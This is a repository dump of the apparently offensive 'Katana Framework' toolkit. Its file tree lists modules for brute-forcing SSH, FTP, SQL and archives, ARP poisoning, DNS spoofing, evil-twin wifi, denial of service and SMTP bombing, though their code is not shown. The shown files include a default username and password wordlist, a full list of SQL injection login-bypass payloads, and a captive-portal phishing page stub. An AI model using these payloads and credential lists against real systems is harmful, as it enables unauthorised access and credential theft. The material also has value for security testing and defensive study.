│ │ │ ├── ldp.py
│ │ │ ├── mpls.py
│ │ │ ├── ospf.py
│ │ │ ├── ppi.py
│ │ │ ├── ppi_cace.py
│ │ │ ├── ppi_geotag.py
│ │ │ ├── ripng.py
│ │ │ ├── rsvp.py
│ │ │ ├── skinny.py
│ │ │ ├── ubberlogger.py
│ │ │ ├── vqp.py
│ │ │ ├── vtp.py
│ │ │ └── wpa_eapol.py
│ │ ├── crypto
│ │ │ ├── __init__.py
│ │ │ └── cert.py
│ │ ├── dadict.py
│ │ ├── data.py
│ │ ├── error.py
│ │ ├── fields.py
│ │ ├── layers
│ │ │ ├── __init__.py
│ │ │ ├── all.py
│ │ │ ├── bluetooth.py
│ │ │ ├── dhcp.py
│ │ │ ├── dhcp6.py
│ │ │ ├── dns.py
│ │ │ ├── dot11.py
│ │ │ ├── gprs.py
│ │ │ ├── hsrp.py
│ │ │ ├── inet.py
│ │ │ ├── inet6.py
│ │ │ ├── ipsec.py
│ │ │ ├── ir.py
│ │ │ ├── isakmp.py
│ │ │ ├── l2.py
│ │ │ ├── l2tp.py
│ │ │ ├── llmnr.py
│ │ │ ├── mgcp.py
│ │ │ ├── mobileip.py
│ │ │ ├── netbios.py
│ │ │ ├── netflow.py
│ │ │ ├── ntp.py
│ │ │ ├── pflog.py
│ │ │ ├── ppp.py
│ │ │ ├── radius.py
│ │ │ ├── rip.py
│ │ │ ├── rtp.py
│ │ │ ├── sctp.py
│ │ │ ├── sebek.py
│ │ │ ├── skinny.py
│ │ │ ├── smb.py
│ │ │ ├── snmp.py
│ │ │ ├── tftp.py
│ │ │ ├── vrrp.py
│ │ │ └── x509.py
│ │ ├── main.py
│ │ ├── modules
│ │ │ ├── __init__.py
│ │ │ ├── geoip.py
│ │ │ ├── nmap.py
│ │ │ ├── p0f.py
│ │ │ ├── queso.py
│ │ │ └── voip.py
│ │ ├── packet.py
│ │ ├── pipetool.py
│ │ ├── plist.py
│ │ ├── pton_ntop.py
│ │ ├── route.py
│ │ ├── route6.py
│ │ ├── scapypipes.py
│ │ ├── sendrecv.py
│ │ ├── supersocket.py
│ │ ├── themes.py
│ │ ├── tools
│ │ │ ├── UTscapy.py
│ │ │ ├── __init__.py
│ │ │ └── check_asdis.py
│ │ ├── utils.py
│ │ ├── utils6.py
│ │ └── volatile.py
│ ├── setup.py
│ └── test
│ │ ├── dnssecRR.uts
│ │ ├── edns0.uts
│ │ ├── import_tester
│ │ ├── ipsec.uts
│ │ ├── regression.uts
│ │ ├── run_tests
│ │ └── run_tests.bat
├── setuptools
│ ├── .gitignore
│ ├── .travis.yml
│ ├── CHANGES.rst
│ ├── LICENSE
│ ├── MANIFEST.in
│ ├── README.rst
│ ├── appveyor.yml
│ ├── bootstrap.py
│ ├── conftest.py
│ ├── docs
│ │ ├── Makefile
│ │ ├── _templates
│ │ │ └── indexsidebar.html
│ │ ├── _theme
│ │ │ └── nature
│ │ │ │ ├── static
│ │ │ │ ├── nature.css_t
│ │ │ │ └── pygments.css
│ │ │ │ └── theme.conf
│ │ ├── conf.py
│ │ ├── developer-guide.txt
│ │ ├── development.txt
│ │ ├── easy_install.txt
│ │ ├── formats.txt
│ │ ├── history.txt
│ │ ├── index.txt
│ │ ├── pkg_resources.txt
│ │ ├── python3.txt
│ │ ├── releases.txt
│ │ ├── requirements.txt
│ │ ├── roadmap.txt
│ │ └── setuptools.txt
│ ├── easy_install.py
│ ├── launcher.c
│ ├── msvc-build-launcher.cmd
│ ├── pavement.py
│ ├── pkg_resources
│ │ ├── __init__.py
│ │ ├── _vendor
│ │ │ ├── __init__.py
│ │ │ ├── appdirs.py
│ │ │ ├── packaging
│ │ │ │ ├── __about__.py
│ │ │ │ ├── __init__.py
│ │ │ │ ├── _compat.py
│ │ │ │ ├── _structures.py
│ │ │ │ ├── markers.py
│ │ │ │ ├── requirements.py
│ │ │ │ ├── specifiers.py
│ │ │ │ ├── utils.py
│ │ │ │ └── version.py
│ │ │ ├── pyparsing.py
│ │ │ ├── six.py
│ │ │ └── vendored.txt
│ │ ├── api_tests.txt
│ │ ├── extern
│ │ │ └── __init__.py
│ │ └── tests
│ │ │ ├── __init__.py
│ │ │ ├── test_markers.py
│ │ │ ├── test_pkg_resources.py
│ │ │ └── test_resources.py
│ ├── pytest.ini
│ ├── setup.cfg
│ ├── setup.py
│ ├── setuptools
│ │ ├── __init__.py
│ │ ├── archive_util.py
│ │ ├── cli-32.exe
│ │ ├── cli-64.exe
│ │ ├── cli.exe
│ │ ├── command
│ │ │ ├── __init__.py
│ │ │ ├── alias.py
│ │ │ ├── bdist_egg.py
│ │ │ ├── bdist_rpm.py
│ │ │ ├── bdist_wininst.py
│ │ │ ├── build_ext.py
│ │ │ ├── build_py.py
│ │ │ ├── develop.py
│ │ │ ├── easy_install.py
│ │ │ ├── egg_info.py
│ │ │ ├── install.py
│ │ │ ├── install_egg_info.py
│ │ │ ├── install_lib.py
│ │ │ ├── install_scripts.py
│ │ │ ├── launcher manifest.xml
│ │ │ ├── register.py
│ │ │ ├── rotate.py
│ │ │ ├── saveopts.py
│ │ │ ├── sdist.py
│ │ │ ├── setopt.py
│ │ │ ├── test.py
│ │ │ ├── upload.py
│ │ │ └── upload_docs.py
│ │ ├── depends.py
│ │ ├── dist.py
│ │ ├── extension.py
│ │ ├── extern
│ │ │ └── __init__.py
│ │ ├── gui-32.exe
│ │ ├── gui-64.exe
│ │ ├── gui.exe
│ │ ├── launch.py
│ │ ├── lib2to3_ex.py
│ │ ├── monkey.py
│ │ ├── msvc.py
│ │ ├── package_index.py
│ │ ├── py26compat.py
│ │ ├── py27compat.py
│ │ ├── py31compat.py
│ │ ├── sandbox.py
│ │ ├── script (dev).tmpl
│ │ ├── script.tmpl
│ │ ├── site-patch.py
│ │ ├── ssl_support.py
│ │ ├── tests
│ │ │ ├── __init__.py
│ │ │ ├── contexts.py
│ │ │ ├── environment.py
│ │ │ ├── files.py
│ │ │ ├── fixtures.py
│ │ │ ├── indexes
│ │ │ │ └── test_links_priority
│ │ │ │ │ ├── external.html
│ │ │ │ │ └── simple
│ │ │ │ │ └── foobar
│ │ │ │ │ └── index.html
│ │ │ ├── py26compat.py
│ │ │ ├── script-with-bom.py
│ │ │ ├── server.py
│ │ │ ├── test_archive_util.py
│ │ │ ├── test_bdist_egg.py
│ │ │ ├── test_build_ext.py
│ │ │ ├── test_build_py.py
│ │ │ ├── test_develop.py
│ │ │ ├── test_dist_info.py
│ │ │ ├── test_easy_install.py
│ │ │ ├── test_egg_info.py
│ │ │ ├── test_find_packages.py
│ │ │ ├── test_install_scripts.py
│ │ │ ├── test_integration.py
│ │ │ ├── test_manifest.py
│ │ │ ├── test_msvc.py
│ │ │ ├── test_packageindex.py
│ │ │ ├── test_sandbox.py
│ │ │ ├── test_sdist.py
│ │ │ ├── test_setuptools.py
│ │ │ ├── test_test.py
│ │ │ ├── test_unicode_utils.py
│ │ │ ├── test_upload_docs.py
│ │ │ ├── test_windows_wrappers.py
│ │ │ └── textwrap.py
│ │ ├── unicode_utils.py
│ │ ├── utils.py
│ │ ├── version.py
│ │ └── windows_support.py
│ ├── tests
│ │ └── manual_test.py
│ └── tox.ini
└── whois
│ ├── __init__.py
│ ├── data
│ └── public_suffix_list.dat
│ ├── parser.py
│ ├── time_zones.py
│ └── whois.py
├── linker.py
├── modules
├── __init__.py
├── anf
│ ├── __init__.py
│ └── forensic_image_analysis.py
├── btf
│ ├── __init__.py
│ ├── brute_force_to_ftp_protocol.py
│ ├── brute_force_to_pop3_protocol.py
│ ├── brute_force_to_sql_protocol.py
│ └── brute_force_to_ssh_protocol.py
├── clt
│ ├── __init__.py
│ ├── adb_client.py
│ ├── ftp_client.py
│ ├── mysql_client.py
│ └── pop3_client.py
├── fle
│ ├── __init__.py
│ ├── brute_force_to_rar_file.py
│ ├── brute_force_to_zip_file.py
│ └── report_virus_total.py
├── mcs
│ ├── __init__.py
│ ├── credentials_test.py
│ ├── generator_dictionary.py
│ ├── mysettup.py
│ └── proxy_checker.py
├── msf
│ ├── __init__.py
│ └── msf_venom.py
├── net
│ ├── __init__.py
│ ├── arp_attack_monitor.py
│ ├── arp_denegation_of_service.py
│ ├── arp_poisoning_attack.py
│ ├── dns_fake.py
│ ├── dns_spoofing.py
│ ├── get_hosts_live.py
│ ├── network_sniff.py
│ ├── scan.py
│ └── web_killer.py
├── set
│ ├── __init__.py
│ ├── hotspot_web.py
│ └── smtp_boombing.py
├── web
│ ├── __init__.py
│ ├── administrator_panel_finder.py
│ ├── brute_force_to_formbase.py
│ ├── brute_force_to_http_block.py
│ ├── client_lsd_vulnerabilty.py
│ ├── sql_bypass.py
│ ├── subdomain_btf.py
│ └── whois.py
└── wifi
│ ├── __init__.py
│ ├── evil_twin.py
│ └── wifi_denegation_of_service.py
├── tmp
└── tor
├── tools
├── __init__.py
├── change_mac.py
└── update_system.py
└── uninstall
/.python-version:
--------------------------------------------------------------------------------
1 | 2.7
2 |
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | langueage: python
2 |
3 | addons:
4 | apt:
5 | sources:
6 | - deadsnakes
7 | packages:
8 | - python2.7
9 |
10 | install:
11 | - sudo apt-get install python2.7
12 |
13 | python:
14 | - "2.7"
15 |
16 | script: python2.7 --version && sudo python2.7 install
17 |
--------------------------------------------------------------------------------
/DISCLAIMER:
--------------------------------------------------------------------------------
1 | Katana Framework is not responsible for misuse or for any damage that you may cause!
2 | You agree that you use this software at your own risk.
3 |
--------------------------------------------------------------------------------
/core/APIs.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | APIs Instance
5 | # Last Modified: 24/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | from core.Function import *
10 | printk = printk()
11 | NET = NET()
12 | UTIL = UTIL()
13 | GRAPHICAL = GRAPHICAL()
14 | COM = COM()
15 | SYSTEM = SYSTEM()
16 | WEB = WEB()
--------------------------------------------------------------------------------
/core/Config.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | Configuration
5 | # Last Modified: 24/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | ### SETTING FRAMEWORK ###
10 |
11 | # Verbose Mode
12 | """Show all the alert messages."""
13 | VERBOSE =True
14 |
15 | # Errors Log
16 | """Saves all error events in a log."""
17 | ERROR_LOG =False
18 |
19 | # Enable Auto-load Session
20 | """Load last session in the module"""
21 | AUTO_LOAD_SESSION =True
22 |
23 | # Apache Folder
24 | """Path of Apache2"""
25 | PATCH_WWW ="/var/www/html/"
26 |
27 | # Enable Xterm
28 | """It shows processes that are running through wires, shown with xterm"""
29 | XTERM_OPTION =False
30 |
31 | # SESSIONS SAVE
32 | """Not save Sessions"""
33 | SAVE_SESSIONS =True
34 |
35 |
36 | ### END SETTING FRAMEWORK ###
37 |
38 |
--------------------------------------------------------------------------------
/core/Information.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | Information File
5 | # Last Modified: 14/03/2017
6 | #
7 | #########################################################HEAD#
8 |
9 | __nickname__ = 'Katana Framework'
10 | __author__ = 'RedToor'
11 | __emailadd__ = 'redtoor@inbox.ru'
12 | __twitter__ = 'https://twitter.com/redtoor'
13 | __facebook__ = 'https://facebook.com/redtoor'
14 | __license__ = 'GPLv3'
15 |
16 | version = "1.0.0.1"
17 | date = "25/12/16:14/03/17"
18 | build = "0069"
19 | Type = "FREE"
20 |
--------------------------------------------------------------------------------
/core/KatanaFramework.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | Import Core
5 | # Last Modified: 24/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | from core.Design import *
10 | from core.Default import *
11 | from core.APIs import *
12 |
13 |
--------------------------------------------------------------------------------
/core/MainListLibrary.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework
5 | # Last Modified: 24/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 |
10 | from Internal import (
11 | KatanaCheckActionShowModules,
12 | KatanaCheckActionUseModule,
13 | KatanaCheckActionExefunction,
14 | KatanaCheckActionShowOptions,
15 | KatanaCheckActionisBack,
16 | KatanaCheckActionShowMOptions,
17 | KatanaCheckActionGlobalCommands,
18 | KatanaCheckActionSetValue,
19 | KatanaCheckActionGetInfo,
20 | KatanaCheckActionInvoke,
21 | KatanaCheckSession,
22 | LoadBuffer,
23 | ShowFullOptions,
24 | ShowInformationModule,
25 | ShowOptions,
26 | UpdateValue,
27 | runModule,
28 | GetRootModules,
29 | Invoke,
30 | SaveSession,
31 | ListModules,
32 | LoadSession,
33 | SessionInterative,
34 | LoadGlobalVariables,
35 | UpdateInternalModule)
36 |
37 | from Function import Executefunction
38 | import xml.etree.ElementTree as ET
39 | from importlib import import_module
40 | import argparse,copy
41 |
--------------------------------------------------------------------------------
/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/core/__init__.py
--------------------------------------------------------------------------------
/core/colors.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #HEADER#######################
3 | # Katana framework #
4 | # Colors File #
5 | # Last Modified: 25/03/2016 #
6 | # Review: 0 #
7 | #######################HEADER#
8 |
9 | W = '\033[0m'
10 | R = '\033[31m'
11 | G = '\033[32m'
12 | O = '\033[33m'
13 | B = '\033[34m'
14 | P = '\033[35m'
15 | C = '\033[36m'
16 | GR = '\033[40m'
17 | GY = '\033[43m'
18 | GE = '\033[41m'
19 | GW = '\033[4m'
20 | HH = '\033[1m'
--------------------------------------------------------------------------------
/core/logs/Errors.log:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/core/logs/Errors.log
--------------------------------------------------------------------------------
/core/logs/register.log:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/core/logs/register.log
--------------------------------------------------------------------------------
/core/logs/variables.globals.json:
--------------------------------------------------------------------------------
1 | {"variable_MAC": [], "variable_IP": []}
--------------------------------------------------------------------------------
/core/sessions/tor:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/core/shorts/ktf.console:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | ktf.console (shortcut)
5 | # Last Modified: 31/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | PARAMETERS=""
10 | while (( $# > 0 ))
11 | do
12 | PARAMETERS+=" "$1
13 | shift
14 | done
15 | cd /usr/share/KatanaFramework
16 | python ktf.console $PARAMETERS
17 |
--------------------------------------------------------------------------------
/core/shorts/ktf.gui:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | ktf.gui (shortcut)
5 | # Last Modified: 31/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | cd /usr/share/KatanaFramework
10 | java -jar ktf.gui.jar
11 |
--------------------------------------------------------------------------------
/core/shorts/ktf.ktf:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | ktf.ktf (shortcut)
5 | # Last Modified: 31/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | PARAMETERS=""
10 | while (( $# > 0 ))
11 | do
12 | PARAMETERS+=" "$1
13 | shift
14 | done
15 | python /usr/share/KatanaFramework/ktf.ktf $PARAMETERS
16 |
--------------------------------------------------------------------------------
/core/shorts/ktf.linker:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | ktf.linker (shortcut)
5 | # Last Modified: 31/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | PARAMETERS=""
10 | while (( $# > 0 ))
11 | do
12 | PARAMETERS+=" "$1
13 | shift
14 | done
15 | cd /usr/share/KatanaFramework
16 | sudo python ktf.linker $PARAMETERS
17 |
--------------------------------------------------------------------------------
/core/shorts/ktf.run:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | ktf.run (shortcut)
5 | # Last Modified: 31/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | PARAMETERS=""
10 | while (( $# > 0 ))
11 | do
12 | PARAMETERS+=" "$1
13 | shift
14 | done
15 | cd /usr/share/KatanaFramework
16 | python ktf.run $PARAMETERS
17 |
--------------------------------------------------------------------------------
/core/shorts/ktf.tool:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | ktf.tool (shortcut)
5 | # Last Modified: 31/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | PARAMETERS=""
10 | while (( $# > 0 ))
11 | do
12 | PARAMETERS+=" "$1
13 | shift
14 | done
15 | cd /usr/share/KatanaFramework
16 | sudo python ktf.tool $PARAMETERS
17 |
--------------------------------------------------------------------------------
/core/shorts/ktf.update:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | ktf.console (shortcut)
5 | # Last Modified: 31/12/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | PARAMETERS=""
10 | while (( $# > 0 ))
11 | do
12 | PARAMETERS+=" "$1
13 | shift
14 | done
15 | cd /usr/share/KatanaFramework
16 | sudo python ktf.update $PARAMETERS
17 |
--------------------------------------------------------------------------------
/core/tools.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | change_mac
5 | Changemac - change mac for interface.
6 |
7 |
8 | update_system
9 | updatesystem - Update completly your system.
10 |
11 |
--------------------------------------------------------------------------------
/core/upgrade.py:
--------------------------------------------------------------------------------
1 | #
2 | # Katana framework
3 | # @Katana Upgrade
4 | #
--------------------------------------------------------------------------------
/core/version.json:
--------------------------------------------------------------------------------
1 | {"Katana":{"Description":"Katana Updates information","Author": "Redtoor","Version":"0.3","Update":{"Core":"1.0.0.1","Build":"0069","Date":"14/03/17"}}}
2 |
--------------------------------------------------------------------------------
/del.pyc.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | REM Delete .pyc on Windows.
3 | for /r %%b in (*.*) do (
4 | if /i %%~xb EQU .pyc del %%b
5 | )
6 | pause
--------------------------------------------------------------------------------
/doc/LICENSE:
--------------------------------------------------------------------------------
1 |
2 | This program is free software: you can redistribute it and/or modify
3 | it under the terms of the GNU General Public License as published by
4 | the Free Software Foundation, either version 3 of the License, or
5 | (at your option) any later version.
6 |
7 | This program is distributed in the hope that it will be useful,
8 | but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | GNU General Public License for more details.
11 |
12 | You should have received a copy of the GNU General Public License
13 | along with this program. If not, see .
14 |
15 |
--------------------------------------------------------------------------------
/doc/Paper-ES.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/doc/Paper-ES.pdf
--------------------------------------------------------------------------------
/doc/logos/logo-320x104.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/doc/logos/logo-320x104.png
--------------------------------------------------------------------------------
/doc/logos/logo-95x104.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/doc/logos/logo-95x104.bmp
--------------------------------------------------------------------------------
/doc/man/ktf.tool:
--------------------------------------------------------------------------------
1 | .TH ktf.tool 1 "03/06/2016" "0.0.1.0"
2 | .SH NAME
3 | ktf.tool - Run a Katana Framework module or tool
4 |
5 | .SH SYNOPSIS
6 | ktf.tool -t [tool] [arguments ]
7 |
8 | .SH DESCRIPTION
9 | Run a tool or module from Katana without using the console.
10 |
11 | .SH EXAMPLE
12 | ktf.tool -t change_mac -r wlan1
13 | ktf.tool -
14 |
15 | .SH SEE ALSO
16 | ktf.console
--------------------------------------------------------------------------------
/files/db/pass.dicc:
--------------------------------------------------------------------------------
1 | root
2 | toor
3 | admin
4 | administrator
5 | qweasd
6 |
7 | anonymous
8 | raspberry
9 | default
10 | beef
11 | password
12 | pass1234
13 | 123456789
14 | 123456
15 | 123qwe
16 | metasploit
17 | linux
18 | 2016
19 | 2015
20 | 2014
21 |
22 |
--------------------------------------------------------------------------------
/files/db/sqlbypass.lst:
--------------------------------------------------------------------------------
1 | ' or 1=1
2 | ' or 1=1--
3 | ' or 1=1#
4 | ' or 1=1/*
5 | admin' --
6 | admin' #
7 | admin'/*
8 | admin' or '1'='1
9 | admin' or '1'='1'--
10 | admin' or '1'='1'#
11 | admin' or '1'='1'/*
12 | admin'or 1=1 or ''='
13 | admin' or 1=1
14 | admin' or 1=1--
15 | admin' or 1=1#
16 | admin' or 1=1/*
17 | admin') or ('1'='1
18 | admin') or ('1'='1'--
19 | admin') or ('1'='1'#
20 | admin') or ('1'='1'/*
21 | admin') or '1'='1
22 | admin') or '1'='1'--
23 | admin') or '1'='1'#
24 | admin') or '1'='1'/*
25 | 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
26 | admin" --
27 | admin" #
28 | admin"/*
29 | admin" or "1"="1
30 | admin" or "1"="1"--
31 | admin" or "1"="1"#
32 | admin" or "1"="1"/*
33 | admin"or 1=1 or ""="
34 | admin" or 1=1
35 | admin" or 1=1--
36 | admin" or 1=1#
37 | admin" or 1=1/*
38 | admin") or ("1"="1
39 | admin") or ("1"="1"--
40 | admin") or ("1"="1"#
41 | admin") or ("1"="1"/*
42 | admin") or "1"="1
43 | admin") or "1"="1"--
44 | admin") or "1"="1"#
45 | admin") or "1"="1"/*
46 | 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
47 |
--------------------------------------------------------------------------------
/files/db/user.dicc:
--------------------------------------------------------------------------------
1 | root
2 | toor
3 | admin
4 | administrator
5 | qweasd
6 |
7 | anonymous
8 | default
9 | beef
10 | password
11 | pass1234
12 | 123456789
13 | 123456
14 | 123qwe
15 |
--------------------------------------------------------------------------------
/files/exiftool.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/exiftool.tar
--------------------------------------------------------------------------------
/files/hackerwifipwd/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | I am watching you.
4 |
5 |
6 |
7 |
8 | I am watching you.
9 | |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/files/hackerwifipwd/lighttpd.cfg:
--------------------------------------------------------------------------------
1 | server.modules = ("mod_access","mod_accesslog","mod_rewrite","mod_redirect")
2 | index-file.names = ( "index.html")
3 | mimetype.assign = (".html" => "text/html")
4 | url.rewrite-once = ("^/(.*)$" => "/index.html")
5 | url.redirect = ("^/$" => "/index.html")
6 | server.errorlog = "lighttpd.log"
7 | server.document-root = "/"
8 | server.pid-file = "/lighttpd.pid"
9 | accesslog.filename = "/lighttpd.log"
10 |
--------------------------------------------------------------------------------
/files/test/Proxys.txt:
--------------------------------------------------------------------------------
1 | 127.0.0.1:8080
2 | 94.23.2.127:60088
--------------------------------------------------------------------------------
/files/test/host:
--------------------------------------------------------------------------------
1 |
2 | 192.168.1.67 rubias19.com
3 |
--------------------------------------------------------------------------------
/files/test/test.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/test/test.jpg
--------------------------------------------------------------------------------
/files/test/test.rar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/test/test.rar
--------------------------------------------------------------------------------
/files/test/test.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/test/test.zip
--------------------------------------------------------------------------------
/files/tmtSMTP/updateTwitter.tmp:
--------------------------------------------------------------------------------
1 |
2 |
3 | l
4 |
5 |
6 |
--------------------------------------------------------------------------------
/files/tmtSMTP/updateaccount.template:
--------------------------------------------------------------------------------
1 |
2 | TEST
3 |
4 |
--------------------------------------------------------------------------------
/files/wifi/tmp/neutral/index_files/bg_searchmodule.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/wifi/tmp/neutral/index_files/bg_searchmodule.jpg
--------------------------------------------------------------------------------
/files/wifi/tmp/neutral/index_files/loader.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/wifi/tmp/neutral/index_files/loader.gif
--------------------------------------------------------------------------------
/files/wifi/tmp/neutral/index_files/logosFooter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/wifi/tmp/neutral/index_files/logosFooter.png
--------------------------------------------------------------------------------
/files/wifi/tmp/neutral/index_files/logoune_new.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/wifi/tmp/neutral/index_files/logoune_new.png
--------------------------------------------------------------------------------
/files/wifi/tmp/neutral/index_files/paguecon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/wifi/tmp/neutral/index_files/paguecon.png
--------------------------------------------------------------------------------
/files/wifi/tmp/neutral/index_files/pat_header_404.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/wifi/tmp/neutral/index_files/pat_header_404.png
--------------------------------------------------------------------------------
/files/wifi/tmp/neutral/index_files/pixel.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/wifi/tmp/neutral/index_files/pixel.gif
--------------------------------------------------------------------------------
/files/wifi/tmp/neutral/index_files/separador.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/files/wifi/tmp/neutral/index_files/separador.png
--------------------------------------------------------------------------------
/files/wifi/tmp/neutral/post.php:
--------------------------------------------------------------------------------
1 |
2 |
7 |
--------------------------------------------------------------------------------
/ktf.gui.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/ktf.gui.jar
--------------------------------------------------------------------------------
/ktf.linker:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | ktf.linker
5 | # Last Modified: 21/09/2016
6 | #
7 | #########################################################HEAD#
8 |
--------------------------------------------------------------------------------
/ktf.update:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | ktf.update
5 | # Last Modified: 03/06/2016
6 | #
7 | #########################################################HEAD#
8 |
9 | from core import Update
10 | import argparse
11 |
12 | parser = argparse.ArgumentParser()
13 | parser.add_argument("-f", "--force" , action='store_false', default=True, help="Force to update the framework.")
14 | args = parser.parse_args()
15 |
16 |
17 | Update.update("update",args.force)
18 |
--------------------------------------------------------------------------------
/lib/IPy/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | *.swp
3 |
--------------------------------------------------------------------------------
/lib/IPy/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include AUTHORS
2 | include ChangeLog
3 | include COPYING
4 | include MANIFEST.in
5 | include test_doc.py
6 | include example/confbuilder
7 | include example/confbuilder.py
8 | include test/test_IPy.py
9 | include test/test.rst
10 |
11 |
--------------------------------------------------------------------------------
/lib/IPy/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: tests egg install clean
2 |
3 | PYTHON=python
4 |
5 | tests:
6 | @echo "[ run unit tests in python 2 ]"
7 | PYTHONPATH=$(PWD) $(PYTHON)2.6 test/test_IPy.py || exit $$?
8 | @echo "[ run unit tests in python 3 ]"
9 | PYTHONPATH=$(PWD) $(PYTHON)3.4 test/test_IPy.py || exit $$?
10 | @echo
11 | @echo "[ test README in python 2 ]"
12 | $(PYTHON)2.6 test_doc.py || exit $$?
13 | @echo "[ test README in python 3 ]"
14 | $(PYTHON)3.4 test_doc.py || exit $$?
15 |
16 | egg: clean
17 | $(PYTHON) setup.py sdist bdist_egg
18 |
19 | IPy.html: README
20 | rst2html README $@ --stylesheet=rest.css
21 |
22 | install:
23 | ./setup.py install
24 |
25 | clean:
26 | rm -rf IPy.html *.pyc build dist IPy.egg-info
27 |
28 |
--------------------------------------------------------------------------------
/lib/IPy/test_doc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import doctest
3 | import sys
4 | if hasattr(doctest, "testfile"):
5 | total_failures, total_tests = (0, 0)
6 |
7 | print("=== Test file: README ===")
8 | failure, tests = doctest.testfile('README', optionflags=doctest.ELLIPSIS)
9 | total_failures += failure
10 | total_tests += tests
11 |
